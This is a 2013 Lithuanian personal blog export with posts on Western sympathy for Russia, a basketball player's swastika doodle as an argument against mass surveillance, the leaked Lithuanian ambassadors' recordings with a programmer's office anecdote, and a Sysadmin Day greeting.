Jie visi smerkia savo valstybes, keikia savo koorporacijas ir pradeda sau patys uždavinėti klausimus, kad nejaugi Rusija dabar yra labiau demokratiška negu JAV.<br /><br />Į tokius jų komentarus žiūrau su atlaidžia šypsena. Jie tiesiog nesupranta, ką jie kalba ir serga trumparegyste. Jie mano, kad Edward Snowden yra jų šalies didvyris ir jų šalis yra bloga, nes nori jį suimti už nusikaltimą, kurį jis techniškai – niekam nekyla jokių priešingų klausimų – padarė. Tuo tarpu Rusija jam suteikė politinį prieglobstį ir dabar tų nieko blogo sąmoningai nelinkinčių komunistėlių akyse Rusija yra demokratiškesnė už JAV. O ypač po dabartinio lyg ir „taikaus“ (Sirijos pilietinis karas tai tuo susitarimu nesibaigs) susitarimo dėl Sirijos, Rusija jų akyse yra ta principinga šalis, kuri užkirto kelią piktosiomis JAV koorporacijoms žudyti vargšus Sirų vaikus.<br /><br />Ir taip – vakarų pasauly ne tiek ir mažai tokių absolučiai nesigaudančių žmonių. Norit pavyzdžių? Vieno iš populiariausių alternativių naujienų portalų JAV infowars.com [<a href="http://www.youtube.com/watch?v=LhqUk28OwHs" target="_blank">8</a>][<a href="http://en.wikipedia.org/wiki/Alex_Jones" target="_blank">9</a>] straipsnis:<br /><br /><a href="http://www.infowars.com/putin-steps-into-world-leadership-role/">http://www.infowars.com/putin-steps-into-world-leadership-role/</a><br /><br />Viena citata:<br />
<blockquote class="tr_bq">
... „Most of Putin’s critics are too intellectually challenged to comprehend that Putin’s brilliant and humane article has left Putin the leader of the free world and defender of the rule of law“ ...</blockquote>
Taip – čia tikra citata. Ir taip – šiame straipnyje Putinas yra vadinamas laisvo pasaulio lyderiu. Ir taip – tai daroma be jokios ironijos. Ir taip – daug jaunų apsiskaičiusių vakarų jaunuolių mano panašiai. Gal šiek tiek nuosaikiau, bet panašiai. Ir kiekvienam lietuviui tokios mintys turėtų stogą rauti: „Kaip šitaip galima? Čia gi absoliutus nupušimas!“.<br /><br />Ir taip, ir ne. Taip – tai nupušimas. Ne, nes ant jų nėra kaip pykti. Jie tiesiog nesupranta. Ir aš suprantu, kodėl jie nesupranta. Jie tiesiog gyvena savo pasaulėlyje ir tik savo tą pasaulėlį ir tepažįsta. Tokia lokalaus minimumo problema. Žiūro jie iš savo varpinės ir mato tik problemas, kurios yra aplink juos. Ir taip daug įsigilina į tas savo problemas, kad pamiršta, jog už jų pasaulėlio sienų yra dar didesnis ir baisesnis chaosas.<br /><br />Čia kaip du žmonės tarpusavyje diskutuotų, kas blogiau sloga ar gerklės skausmas. „Sloga geriau, nes gauni vieną pliusą – nesmirda, kai kas nors pagadina orą“; „Nu o kai gerklę skauda, tai kartais balsas taip susimala, kad gali dainuoti kaip kokia roko žvaigždė“. Ir taip ginčytųsi iki begalybės, kol užmirštų, kad AIDS yra blogiau tiek už slogą, tiek už gerklės skausmą.<br /><br />Taip ir čia yra. Jie yra vakariečiai, jie gyvena vakaruose ir jie nė biškio nepažįsta Rusijos. Dėl to jie ir kliedi. Dabar grįžkime prie kliedinčių pusjaunių lietuvaičių ir mano teiginio, kad jie kliedi dėl to, kad yra vakariečiai.<br /><br />Aš manau, kad dalį jaunų lietuvių pasiekia tik ta informacija, kuri pasiekia ir vakariečius. Ypač tuos kurie giriasi, kad nežiūro televizoriaus ir užknisančiai į savo kalbą įgrūda visokius angliškus terminus, kaip čilinti, promauntinti, pabrausinti ir panašiai. Ačiū filtro/informacijos burbului [<a href="http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/" target="_blank">10</a>], jokia kita informacija jų nepasiekia. Jie yra veikiami tos pačios kultūros, kuri veikia ir vakariečius. Juos formuoja tie patys dalykai, kurie formuoja vakariečius. Ir mano supratimu jie yra tikri, sovietų nesugadinti vakariečiai ir vakarų kultūros atstovai.<br /><br />Kas yra tarsi gerai, nes Lietuvos kaip ir tikslas yra būti modernia vakarų valstybe. Tai tarsi jis kaip ir pasiektas arba netoks ir tolimas. Iš kitos pusės liūdnoka, kad kai kurie net ir gimę sovietmečiu taip greitai praranda imunitetą ir patiki tokia paprasta ir neišradinga Rusijos propaganda.<br /><br /><span style="font-size: x-small;">[1] <a href="http://www.theguardian.com/world/2013/sep/13/geneva-talks-syria-chemical-weapons">http://www.theguardian.com/world/2013/sep/13/geneva-talks-syria-chemical-weapons</a><br />[2] <a href="http://www.lrytas.lt/pasaulis/sirijos-krize/jav-ir-rusija-susitare-del-sirijos-ginklu-atnaujinta-201309141430.htm">http://www.lrytas.lt/pasaulis/sirijos-krize/jav-ir-rusija-susitare-del-sirijos-ginklu-atnaujinta-201309141430.htm</a><br />[3] <a href="http://en.wikipedia.org/wiki/Islam_in_Syria">http://en.wikipedia.org/wiki/Islam_in_Syria</a><br />[4] <a href="https://lt.wikipedia.org/wiki/Alavitai">https://lt.wikipedia.org/wiki/Alavitai</a><br />[5] <a href="http://www.lrytas.lt/lietuvos-diena/komentarai/meldziuosi-ne-uz-taika-sirijoje-o-uz-greitesne-karo-pradzia.htm">http://www.lrytas.lt/lietuvos-diena/komentarai/meldziuosi-ne-uz-taika-sirijoje-o-uz-greitesne-karo-pradzia.htm</a><br />[6] <a href="http://rokiskis.popo.lt/2013/08/27/kai-neatitinka-paternai-arba-rusijos-itaka-lietuvoje/">http://rokiskis.popo.lt/2013/08/27/kai-neatitinka-paternai-arba-rusijos-itaka-lietuvoje/</a><br />[7] <a href="http://bukimevieningi.webnode.com/products/zemaiciai-praso-rusijos-bei-baltarusijos-pagalbos/">http://bukimevieningi.webnode.com/products/zemaiciai-praso-rusijos-bei-baltarusijos-pagalbos/</a><br />[8] <a href="http://www.youtube.com/watch?v=LhqUk28OwHs">http://www.youtube.com/watch?v=LhqUk28OwHs</a><br />[9] <a href="http://en.wikipedia.org/wiki/Alex_Jones">http://en.wikipedia.org/wiki/Alex_Jones</a><br />[10] <a href="http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/">http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com3tag:blogger.com,1999:blog-1632656242730180910.post-53776832351268171452013-09-09T01:55:00.000+03:002013-09-09T01:55:40.880+03:00Kryžius su užlenktais galaisNorėjau šitą įvykį pakomentuoti tada, kai jis įvyko (Dabar 2013-09-09; Aprašytas žiniasklaidoje buvo 2013-09-03). Bet buvau truputį užsiėmęs <a href="http://pyweek.org/e/petraszd-pw-17/" target="_blank">[1]</a>, o ir dar krepšinį vakarais rodo – nėr kada nesąmonių rašyt.<br /><br />Kalbant apie krepšinį. Tas įvykis šiek tiek susijęs su krepšiniu. Tiksliau su krepšininku. K.Lavrinovičius ėmė ir nupiešė svastiką <a href="http://www.lrytas.lt/eurobasket2013/aplink-kamuoli/svastika-nupieses-k-lavrinovicius-atsipraso-papildyta.htm" target="_blank">[2]</a>. Ir to įvykio aprašymas spaudoje ir netgi visokių institucijų įtraukimu <a href="http://www.ve.lt/naujienos/eurobasket-2013/europos-vyru-krepsinio-cempionatas/ksistofas-lavrinovicius-sulauke-griezto-lkf-ispejimo-1047630/" target="_blank">[3]</a><a href="http://www.15min.lt/naujiena/aktualu/lietuva/policija-ksistofas-lavrinovicius-piese-ne-svastika-56-365941" target="_blank">[4]</a>. Man tokio menkniekio net ir paminėjimas spaudoje atrodė betikslis. Jau nekalbant apie bandymą įvelti į tai policiją. Kita vertus, šitas įvykis man pailiustruoja, kodėl aš esu prieš visuotinį visų sekimą.<br /><br />Žmonės dar nėra pasiruošę žinoti apie kitus žmones viską, ką anie daro. Nes visi iš karto pradeda teisti, net ne tai, kad neįsigilinę į detales, bet kad pamiršę tiek visas detales, tiek visą kontekstą. Pagriebia vieną sakinių iš paragrafo ir pradeda reikalauti, ką nors prikalti ant kryžiaus už nusikaltimą, kurį patys susigalvoja.<br />
<br />Panagrinėkime, kas buvo. Krepšininkas nuobodžiaudamas ir durniuodamas nupiešė svastiką ant sportinio krepšio esančio Nike logotipo. Bet kontekstas yra pamirštamas ir paliekama tiesiog: „Krepšininkas nupiešė svastiką“. Kas techniškai yra tiesa (dar techniškai ta svastika nėra nacių svastika, nes galai ne į tą pusę užsilankstę).<br /><br />Paprastumo dėlei net nesvarstykime, ar svastika dėl gilaus istorinio palikimo (pirmi panaudojimai atrandama dar 10000 m. prieš mūsų erą <a href="http://en.wikipedia.org/wiki/Swastika#Archaeological_record" target="_blank">[5]</a>) yra neigiamas simbolis vien dėl to, kad jį naudojo ir naciai. Darykime prielaidą, kad tiek bet kokia svastika yra neigiamas simbolis. Čia panašiai kaip, kad Hitlerio ūsų forma nors nėra uždrausta, bet kažkaip niekas dabar neaugina Čarlio Čaplino tipo ūsų.<br /><br />Jeigu krepšininkas būtų svastiką nupiešęs, tarkim, žydų kapinėse, tai jo - tada tai būtų reikšmingesnis įvykis. Ir tada toks poelgis nusipelnytų tiek žiniasklaidos, tiek įvairių institucijų dėmesio.<br /><br />Dabar gi situacija ir kontekstas visiškai kitokie. Panagrinėkime ir pabandykime įsivaizduoti, kokia buvo situacija. Žmogus ilgai nuobodžiavo oro uoste. Šiais technologijų kupinais laikas, kai „neturėti ką veikti“ tampa svetima ir sunkiai suvokiama koncepcija (Pavyzdžiui, gali išsiimti mobilų ir pražaisti kokį durną žaidimuką N valandų. Gali ir knygas skaityti. Bet ką čia apsimetinėti – tikriausiai žaisi žaidimuką). Dėl to gali būti sunku įsivaizduoti, ką reiškia nuobodžiauti. Ir kokia nuotaika ir savijauta užpuola nuobodžiaujant. O ji užpuola tokia, kad pradžioje pradedi šnekėtis nesąmones. Jeigu yra su kuo šnekėtis, kas be ko. Jeigu nėra – tada reikia peršokti į sekantį punktą. Sekantis punktas yra pradėti daryti nesąmones.<br /><br />Viena iš galimų nesąmonių darymų yra nesąmonių paišymas ant svetimų ar savų daiktų. Taigi, iki čia situacija visiškai suprantama ir pažįstama. Toliau. Kas toliau? Toliau krepšininkas nusprendė išpaišyti sportinį krepšį. Krepšys tamsus ir ant jo yra baltas Nike ženkliukas. Jeigu jums reiktų išpaišyti tokią kuprinę ir jūs turėtumėt tamsų tušinuką, tai kurioje vietoje jūs pieštumėt? Taip – ant balto ženkliuko. Kita užduotis: jums reikia sugalvoti, ką galima nupiešti ant to ženkliuko. Noriu priminti, kad ženkliukas yra mažas ir paprastai būna išgaubtos formas – dėl to sunku tiksliai piešti. Ką nupieštumėt?<br /><br />Aš į tokį klausimą tesugalvočiau tik du atsakymus: „bybį“ ir „svastiką“. Ar tas reiškia, kad esu žydų nekentėjas? Antisemitas? Ir piešdamas ne varpą, o svastiką atlikau tautinę neapykantą skatinantį veiksmą? Ne (Bent jau aš taip manau, kad ne). Tai kodėl tada, K.Lavrinovičius buvo privestas teisintis ir atsiprašinėti už savo privačius juokelius (gi peišinėlis nebuvo piešiamas spaudos konferencijos metu), kuriais akivaizdu, nebuvo siekiama nieko įžeisti. Ir kuris (tas juokelis) tikrai nebuvo antisemitinis. Ar pats juokelis juokingas? Koks skirtumas.<br /><br />Iš esmės dabar visuomenės dalis, kurią mes apibrėžiame kaip „įžymybės“, gali pabūti kaip pseudo-modelis, ką reiškia gyventi visuotinio absoliutaus sekimo laikas (kurie panašu, kad ateina, o gal jau ir atėjo). Kai netinkami faktai netinkamu laiku yra ištraukiami tiek iš archyvų, tiek iš konteksto siekiant sumenkinti vieną ar kitą žmogų. Dabar taikiniai yra tos įžymybės (ta prasme į šitą aibę įeina visi – tiek sprotininkai, tiek politikai, tiek žmonės, kurių profesiją tėra tik įžymybė). Ateityje galime patapti mes visi.<br /><br />Įsivaizduokite. Rytoj iš ryto nueinate į darbą. O ten jau jūsų kabinete laukia jūsų viršininkas. Trenkia jums ant stalo jūsų aštuntos klasės biologijos sąsiuvinį. Atverčia penktą puslapį. O ten šalia amebos apibrėžimo užrašo yra nupiešta svastika. Nenacinė svastika (į kitą pusę užsilanksčius). Beda viršininkas pirštu ir klausia: „Kas čia? Iki pietų laukiu raštiško pasiteisinimo.“ ir išeina.<br /><br />Tada pietūs. Pietaujate su kolega, su kuriuo visada pietaujate. Tik kažko jis šiandien labai nekalbus. Bandote užvesti pokalbį apie krepšinį. Nesiriša. Bandote apie politiką. Bandote apie orą. Bandote apie mergas, galų gale. Nesiriša. Po vienos iš daugelio nejaukių pauzių kolega atsidūsta ir klausia: „Petrai, kodėl tu nekenti žydų? Ką jie tau blogo padarė?“<br /><br />Ir dabar jūs turite prieš geriausią savo darbo draugą (nebūtinai geriausią draugą aplamai) teisintis. Prieš tą patį, kuris nuolat pasakoje nejuokingus, šimtą kart girdėtus ir nuzulintus anekdotus apie žydus. Teisintis, kad nesate anei joks antisemitas, anei, kad turit bent kažkokį neigiamą nusistatymą prieš žydų tautybės žmones.<br /><br />Ir dėl to aš esu prieš visuotinį visų žmonių sekimą.<br />
<br />
<br />
<span style="font-size: x-small;">[1] <a href="http://pyweek.org/e/petraszd-pw-17/">http://pyweek.org/e/petraszd-pw-17/</a></span><br />
<span style="font-size: x-small;">[2] <a href="http://www.lrytas.lt/eurobasket2013/aplink-kamuoli/svastika-nupieses-k-lavrinovicius-atsipraso-papildyta.htm">http://www.lrytas.lt/eurobasket2013/aplink-kamuoli/svastika-nupieses-k-lavrinovicius-atsipraso-papildyta.htm</a></span><br />
<span style="font-size: x-small;">[3] <a href="http://www.ve.lt/naujienos/eurobasket-2013/europos-vyru-krepsinio-cempionatas/ksistofas-lavrinovicius-sulauke-griezto-lkf-ispejimo-1047630/">http://www.ve.lt/naujienos/eurobasket-2013/europos-vyru-krepsinio-cempionatas/ksistofas-lavrinovicius-sulauke-griezto-lkf-ispejimo-1047630/</a></span><br />
<span style="font-size: x-small;">[4] <a href="http://www.15min.lt/naujiena/aktualu/lietuva/policija-ksistofas-lavrinovicius-piese-ne-svastika-56-365941">http://www.15min.lt/naujiena/aktualu/lietuva/policija-ksistofas-lavrinovicius-piese-ne-svastika-56-365941</a></span><br />
<span style="font-size: x-small;">[5] <a href="http://en.wikipedia.org/wiki/Swastika#Archaeological_record">http://en.wikipedia.org/wiki/Swastika#Archaeological_record</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-90192170348831997812013-08-25T16:41:00.001+03:002013-08-25T16:41:52.232+03:00Apie neįvykusius pokalbiusŠiaip Lietuvoje dėl to tylu, bet pasaulyje visą vasarą skamba JAV PRISM skandalas [1]. Kitas Įdomus dalykas tas, kad Lietuva šiuo metu taip pat turi savo sekimo skandalą. Aš kalbu apie paviešintus ambasadorių tariamus pokalbius (A.Žurauskas ir R.Juška) [2][3]. Ir visus man sunkiai suprantamus (nes aš kvailas) šūdų malūnus, kurie sukasi iki šiol [4].<br /><br />Kai tik aš sužinojau apie šitą paviešinimą. Mano pirma mintis buvo: „Tikiuosi, kad čia koks nors <i>wannabe</i> lietuviškasis Snowden paviešino šituos pokalbius. Kad koks nors neaukštų pozicijų IT darbuotojas, prieinantis prie slaptos informacijos nusprendė: velniop aš irgi idealistas ir už teisybę. ir paėmė, ir negrabiai paviešino šiaip jau nelabai įspūdingą ir nelabai kompromituojančią informaciją.“. Aš suprantu, kad tokia mano mintis labai jau naivi. Ir toks scenarijus tikrai neįvyko. Bet vis tiek aš labai norėjau, kad būtų toks nelogiškas ir negalimas to škandalo paaiškinimas. Nes.<br /><br />Istorijos pradžia. Kaip tik vyko didysis Wikileaks skandalas. Mane, aišku, buvo apėmęs idealizmo šišas. Aš naiviai „norėjau būti“ kaip Julian Assange. Kaip tik tuo metu dirbau vienoje kontorėlėje. Ir ta kontorėlė prižiūrėjo vienos ministerijos viešą, reprezentacinį tinklapį (T.y. ne kažkokią vidinę sistemą – o viešai prieinamą interneto svetainę). Tas tinklapis buvo darytas kažkokios kitos kontoros. Kuri jau seniai bankrutavus. Tai va – tinklapyje klaida. Kažkas neveikia. Niekas nenori taisyti. Nes kodas ten tragiškas – niekas nenori kišti nagų – ir taip ten viskas ant snarglių laikosi.<br /><br />Kažkoks prakeikimas, bet kad ir kur bedirbčiau galiausiai nusistovi tokia situacija, kad įmonėje aš esu tas žmogus, kuriam atitenka taisyti tas kodo vietas, kurios yra tragiškai prastos kokybės ir niekas daugiau nedrįsta ten kišti nagų. Bet ne dėl to, kad aš esu protingesnis už kitus. Anaiptol – čia kažkokia keistos rūšies drąsos forma, galima vien dėl kompetencijos stokos ir savo galimybių nesuvokimo.<br /><br />Taigi, aišku, kad man atitenka taisyti tą ministerijos tinklapio klaidą. Išsiaiškinu, kad mūsų versijų kontrolės [5] sistemoje, esantis kodas yra per senas. Kažkoks kitas gundruolis kažkada, dar man ten nedirbant, darė pakeitimus tiesiogiai produkciniame serveryje. T.y. „<i>Fuck It! We'll Do It Live!</i>“. Taigi, man pirma reikia atsisiųsti visą kodą iš produkcinio serverio ir atnaujinti mūsų versijų kontrolės sistemą ir tik tada aš galėsiu pradėti taisyti.<br /><br />Kadangi čia ministerija ir jie turi savo IT „uber saugumo“ politiką, tai mes teturime vienintelį būdą pasiekti jų serverį. Tą galima padaryti tik FTP protokolu... Kaip viskas paprastai vyksta tokiu atveju. Paimi atsidarai FTP adresą. CTRL-A, kad pažymėti viską. Tada atžymi kelis katalogus, tokius kaip „uploads“, „documents“ ir panašiai. Nes visas kodas teužima kelis megabaitus. Bet produkciniame serveryje būna turinio informacija, kuri nereikalinga, norint pasileisti ir sutaisyti projektą lokaliai. Ir kuri sveria nuo kelių šimtų megabaitų iki bilenkiek.<br /><br />Šįkart aš neatžymiu tų katalogų. Nes aš <i>wannabe</i> Assange ir aš ten ale ieškosiu skandalingos informacijos... Kas yra visiškai kvaila. Nes ten, kaip minėjau, yra viešas tinklapis. Tie dokumentai, kuriuos aš siunčiuosi yra prieinami visiems turintiems interneto ryšį – nes ten viešas tinklapis, o ne kažkokia vidinė IT sistema. Niekas man neduos jokio priėjimo prie jokių svarbių dokumentų. Bet kadangi aš baisus vikilyksas, tai aš siunčiuosi tuos visus gazilijoną gigabaitų.<br /><br />Aišku, visai įmonei užstabdau internetą. Ofisas – atviro tipo – visi vienoje patalpoje. Kažkas surinka: „Kuris pumpuojat pornūchą? Internetas stringa – negaliu dirbt.“. Atsiranda bent du žmonės, kurie „prisipažįsta“, kad tai jie siunčiasi pornografiją. Bajeris senas ir naudotas šimtą kartų. Jau seniai nė velnio nejuokingas. Bet visas grožis tas, kad nepaisant to – visi sąžiningai jį vysto iki galo. Vienas darbuotojas netgi atsistoja iš savo darbo vietos ir nuneša kitam darbuotojui USB raktą. Atseit įrašyk ir man kai pabaigsi siųstis. Tas pats darbuotojas, kuris už poros mėnesių skųsis, kad „kažkas įmonėje nupisinėja USB raktus“. Ir tas pats, kuris gyvenime darbiniais reikalas neatsistos iš savo vietos ir netgi nesikalbės nors ir sėdime vienoje patalpoje – parašys el. laišką arba skype'u.<br /><br />Taigi, tuo absurdo teatru tarsi „išsprendžiama“ problema. Visi nusiramina ir niekas nesiaiškina tikros interneto dingimo problemos. Aš toliau pumpuoja kvailus dokumentus ir visa įmonė neturi interneto – stringa darbai.<br /><br />Galiausiai baigiu siųstis. Įvyksta trumpas proto nušvitimas. Suprantu, kad tie dokumentai yra vieši ir tikrai neskandalingi. Ir net jeigu jie nebūtų vieši, o neįtikėtinai aš turėčiau priėjimą prie slaptos, kompromituojančios informacijos – aš jos nė velnio nenagrinėčiau, nes esu pataloginis tinginys. Taigi kolioju save mintyse „Supistas vikilyksas atsirado“ ir ištrinu bereikalingai parsisiųstus dokumentus.<br /><br />Surinku direktoriui, kad parsisiunčiau svetainę ir einu taisyti. Visi ofise garantuotai supranta, kad tai aš buvau užstabdęs internetą. Niekas nieko nesako – paklausk bet kurio – internetas buvo sustojęs, nes tas ir tas pumpavo pornūchą. Direktorius paklausia, per kiek maždaug sutaisysiu. Pasakau, kad per dvi valandas. Sutaisau per penkias minutes. Dar pusantros valandos sugaištu rašydamas skriptą. Kad tituliniame puslapyje prie URL dadėjus „?bybys=skraido“ ant tituliniame puslapyje esančios ministerijos vadovo nuotraukos atsirastų animuotas falo piešinys, kuris animuotai cikliškai judėtų pirmyn ir atgal.<br /><br />Paskutinę minutę suprantu, kad čia yra labai, labai ir labai, labai tragiška idėja. Kad jeigu už tokias nesąmones nesėsčiau į kalėjimą, tai bent jau būčiau išmestas iš darbo. Taigi, ištrinu tą improvizaciją. Sukeliu į produkcinį serverį tuos 5 min. pataisymus. Istorijos pabaiga.<br /><br />Taigi, aš labai tikėjausi, kad kažkoks panašus į mane. T.y. kažkoks naivus asilas paviešino tuos ambasadorių pokalbius. Nes aš suprasčiau tokį labai kvailą poelgį. Nors jis ir neįmanomas. Ir tokio dalyko nebuvo.<br /><br />Nesvarbu. Svarbu tai, kad aš sekiau visą eigą. Ir visas tas įvykis man rodosi beesąs vienas didelis šūdų malūnas (čia mano mėgėjiškas bandymas pakeisti KPŠ – aš nekenčiu šito trumpinio).<br /><br />Man iškyla daug klausimų ir niekas iš spaudoje numetamos informacijos man<br />jų neatsako.<br /><br /><a href="http://www.lrytas.lt/lietuvos-diena/aktualijos/ambasadoriu-skandale-miglota-atomazga.htm">http://www.lrytas.lt/lietuvos-diena/aktualijos/ambasadoriu-skandale-miglota-atomazga.htm</a><br /><br />Visų pirma, kodėl bandoma aiškintis, kas patalpino informaciją internete. Bet nutylima, kaip ji buvo įrašyta.<br />
<blockquote class="tr_bq">
<i>Valstybės saugumo departamento direktorius Gediminas Grina teigė, kad, mėginant sekti internete paliktais pėdsakais, paaiškėjo, jog tie adresai, iš kurių pasklido diplomatų pokalbių įrašai – ir netikri, ir išnykę, galbūt net buvę kažkokiuose mobiliuosiuose įrenginiuose.</i></blockquote>
Bet kas bent kiek gudresnis mokės patalpinti video į internetą ir nepalikti pėdsakų. Aišku, galima pabandyti panagrinėti – gal buvo padaryta žioplų klaidų. Bet cituoju: „...jog tie adresai, iš kurių pasklido...“. Kaip tai? Iš kur žinote adresus? Nejaugi Youtube (T.y. Google) teikia tokią informaciją Lietuvos valstybės institucijoms? Čia būtų įdomus faktas. Jeigu taip yra – aš noriu tą žinoti. Kaip lengvai paprastiems Lietuvos institucijų darbuotojams yra pasiekiamas mano GMail el. laiškų turinys?<br /><br />Jeigu Google'as vis dėl to neteikia informacijos Lietuvos institucijoms. Tai tada reiškia visa tyrimas buvo apgailėtinas ir pasibaigęs tiesiog įkėlusio vartotojo vardo paieška interneto paieškos svetainėse. Kas yra tragiškas tyrimas, kurį ir aš pats atlikau per 10 min.<br /><br />Kaip ir minėjau, ne taip ir svarbu, kaip įrašas atsidūrė internete. Daug svarbiau kaip jis buvo įrašytas. Nejaugi tą taip sunku išsiaiškinti? Ar aš super naivus, ar užtenka atsekti, kurią dieną buvo tas pokalbis. Tada bus žinoma kokiais kokio ryšio tinklais naudojosi pokalbio dalyviai. Jie tuo metu abu buvo Lietuvoje? Jeigu taip, tai kokia kortele jie kalbėjo? Ežiu? Pildyk? Labas?<br /><br />Jeigu nors vienas buvo užsienyje. Tai tada visai kiti klausimai. Kurioje valstybėje? Kas įrašė? Rusai?<br /><br />Iš esmės svarbiausias klausimas: ar čia savi įrašė, ar svetimi?<br />
<blockquote class="tr_bq">
<i>Tačiau Užsienio reikalų komiteto posėdyje G.Grina (VSD direktorius) atmetė šią versiją, pareikšdamas, kad tokios sudėtingos įrangos, kokia buvo atlikta ši operacija, ir tokių galimybių bei išteklių čia, Lietuvoje, esą nėra.</i></blockquote>
Ką? VSD neturi įrangos įrašinėti telefoninių pokalbių? Čia absoliuti nesąmonė. Taigi, manau, vis tiek išlieka klausimas, kurie įrašė: svetimi ar savi. Jeigu svetimi, tai kurie? Rusai?<br /><br />Jeigu savi. Tai tada klausimai: ar nebuvo peržengtos kompetencijos ribos įrašinėjant diplomatų asmeninius pokalbius? Ar buvo teisinis pagrindas tą atlikti?<br /><br />Klausimai betiksliai, nes pokalbių techniškai kaip ir nebuvo. Pagal tai kokia pateikiama informacija: nėra žinoma ar jie tikri, ar sufalsifikuoti. Tai, reiškiasi pagal nutylėjimą tų pokalbių nebuvo. Bet ambasadoriai atšaukiami. Aš nieko nežinau apie tuos ambasadorius. Gal jie geri ambasadoriai. O gal tragiški ir labai gerai, kad juos atšaukė. Bet vis tiek. Jie atšaukiami, nes prarado prezidentės ir premjero pasitikėjimą. Kodėl prarado? Jeigu pokalbiai nepripažįstami kaip tikri, tai reikia tada kitos priežasties, kodėl tas pasitikėjimas dingo.<br /><br />Nes dabar gaunasi, kad neaiškus įtarimo metimas neaiškiu Youtube įrašu yra pakankama priežastis ambasadoriams netekti darbo. Man patiko R.Lopatos komentaras:<br /><br /><a href="http://www.lrt.lt/naujienos/lietuvoje/2/22793/r._lopata_ambasadoriaus_atsistatydinimas_didele_klaida_papildyta_l._linkeviciaus_komentaru_">http://www.lrt.lt/naujienos/lietuvoje/2/22793/r._lopata_ambasadoriaus_atsistatydinimas_didele_klaida_papildyta_l._linkeviciaus_komentaru_</a><br /><br />Kad taip nubrėžiama pavojinga linija, už kurios ribų yra atleidžiami ambasadoriai. Tai taip išeina, kad jeigu aš ateityje sufabrikuosiu kokių nors kitų ambasadorių pokalbį ir patalpinsiu audio internete, jie irgi bus atleisti? Nes tokius įrašus tikrai galima sukurti ir „namų sąlygomis“.<br /><br />Nu gerai. Panagrinėkime teorinį variantą. Darom prielaidą, kad tie įrašai tikri. Čia iškyla kitas įdomus dalykas. Aš klausiau tuos pokalbius. Aš nesigaudau toje srityje, bet man pokalbis pasirodė kaip žmonių, kurie yra daugmaž kompetetingi ir supranta, ką šneka. Taip pat pokalbyje labai jaučiamasi, kad jis privatus. Kalbama apie darbą ir šiaip nusišnekama. Ale kaip nesąmonių kalbėjimas prie alaus.<br /><br />Vienas dalykas man įtartinas visame pokalbyje. Kalbasi du pusamžiai lietuviai. Ir beveik nėra keiksmažodžių. Suskaičiavau tik vieną. Pokalbio pradžioje: „... bedievis blet ...“. Bet čia turbūt mano sugedimo laipsnis pasirodo. Grįžtam.<br /><br />Akivaizdu, kad tai nėra nei oficiali politika, nei kryptis, kuria yra vadovaujamasi dirbant. Ir mes nežinome konteksto. Gal tai yra du draugeliai, kurie nuolat neformaliai šneka. Ir kai kurios mintys mums skamba vienaip, nors jie šneka apie kitus dalykus – mes nežinome pokalbio konteksto.<br /><br />Bet svarbiausias dalykas – čia neformalus pokalbis. Neformaliuose pokalbiuose žmonės šneka nesąmones ir nusišneka. Kartais specialiai, kartais dėl to, kad išjungia saugiklius. Tą daro visi ir visur. Ir už tai nuo šiol bus baudžiama?<br /><br />Bet pokalbio techniškai kaip ir nebuvo nebuvo. Ir aš lieku nieko nesupratęs. Nejaugi nuo šiol užsienio politikos darbuotojams draudžiama tarpusavyje neformaliai šnekėtis. Ar prieš pradėdami šnekėtis, jie turi Sopranų stiliumi įjungti skalbenkę ir tik tada gali persimesti keliais žodžiais. Nes pokalbis gali būti įrašytas ne tik telefonu, bet ir blakėmis, kalbant gyvai.<br /><br />Pabaiga. Žinau, kad su tiek daug klaustukų tekste, skambu kaip lunatikas, kuris skambija į Marijos radiją ir pageidavimų koncertuose ne į temą pradeda kliedėti: „o kas galėtų paneigti...“. Taip yra, nes aš ir esu lunatikas. Ir dabar dėl to PRISM skandalo yra suaktyvėjusi mano sąmokslo teorijų alergija.<br /><br />Bet. Šiandien supratau kitą liūdną tiesą. Kad dėl to PRISM skandalo aš dabar ganėtinai neblogai žinau JAV piliečių teises į privatumą. Bet nė velnio nežinau Lietuvos piliečių teisių į privatumą. Aš nežinau, kas turi teisę mane sekti. Kada gali kaupti informaciją apie mane. Kokią informaciją gali kaupti apie mane. Kokias aš turiu teises ir galimybes, jeigu paaiškėja, kad apie mane kaupia informaciją neteisėtai. Ir panašiai. Ir iš vis ar Lietuvos piliečiai turi tokią teisią, kaip teisė į privatumą. Reiktų ištaisyti man šitą savo spragą.<br />
<span style="font-size: x-small;"><br /><br />[1] <a href="http://www.theguardian.com/profile/glenn-greenwald">http://www.theguardian.com/profile/glenn-greenwald</a><br /> <a href="http://thestringer.com.au/google-and-the-nsa-whos-holding-the-shit-bag-now/">http://thestringer.com.au/google-and-the-nsa-whos-holding-the-shit-bag-now/</a><br /> <a href="http://www.dancarlin.com//disp.php/csarchive/Show-258---Snow-Storm/Snowden-Greenwald-Guardian">http://www.dancarlin.com//disp.php/csarchive/Show-258---Snow-Storm/Snowden-Greenwald-Guardian</a><br />[2] <a href="http://www.youtube.com/watch?v=bFGf9E089SY">http://www.youtube.com/watch?v=bFGf9E089SY</a><br />[3] <a href="http://www.youtube.com/watch?v=VR715pxdkhI">http://www.youtube.com/watch?v=VR715pxdkhI</a><br />[4] <a href="http://www.lrytas.lt/lietuvos-diena/aktualijos/ambasadoriu-skandale-miglota-atomazga.htm">http://www.lrytas.lt/lietuvos-diena/aktualijos/ambasadoriu-skandale-miglota-atomazga.htm</a><br />[5] <a href="https://en.wikipedia.org/wiki/Revision_control">https://en.wikipedia.org/wiki/Revision_control</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com2tag:blogger.com,1999:blog-1632656242730180910.post-43168178190536728062013-07-28T21:29:00.002+03:002013-07-28T21:29:20.238+03:00Sveikinimas sauTai va, Petrai, nors tu ir programuotojas, bet tau vis tiek teko ne kartą atlikti sysadmino užduotis. Dėl to aš – Petras – sveikinu tave – Petrai – su sysadmino diena <a href="http://rokiskis.popo.lt/2013/07/26/sveikinu-adminus-bei-admines-su-sistemu-administratoriu-diena/" target="_blank">[1]</a> <a href="http://en.wikipedia.org/wiki/System_Administrator_Appreciation_Day" target="_blank">[2]</a>. Nes mes gyvename informaciniame amžiuje. Vertingiausias dalykas yra informacija (nepaisant to, kad kitaip nei agurku, informacija neužkąsi). 